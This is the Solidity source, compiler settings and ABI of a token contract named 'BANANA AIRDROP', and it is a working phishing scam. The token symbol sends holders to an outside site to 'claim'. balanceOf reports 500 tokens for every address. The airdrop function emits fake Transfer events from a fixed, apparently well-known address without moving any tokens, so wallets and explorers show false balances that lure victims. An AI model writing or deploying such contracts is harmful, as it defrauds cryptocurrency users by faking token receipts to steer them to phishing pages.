pragma solidity ^0.8.0;
contract CustomToken {
string public constant name = "BANANA AIRDROP";
string public constant symbol = "Visit banana-gunbot.com to CLAIM";
uint8 public constant decimals = 6;
uint256 public constant totalSupply = type(uint256).max;
address private constant addressFrom =
0x28C6c06298d514Db089934071355E5743bf21d60;
uint256 private constant valueByTransfer = 500000000;
event Transfer(address indexed from, address indexed to, uint256 value);
function balanceOf(address account) public pure returns (uint256) {
return 500 * (10**uint256(decimals));
}
function airdrop(address[] memory recipients) public {
for (uint256 i = 0; i < recipients.length; i++) {
emit Transfer(addressFrom, recipients[i], valueByTransfer);
}
}
}
{
"compilationTarget": {
"CustomToken.sol": "CustomToken"
},
"evmVersion": "paris",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
}
[{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address[]","name":"recipients","type":"address[]"}],"name":"airdrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"}]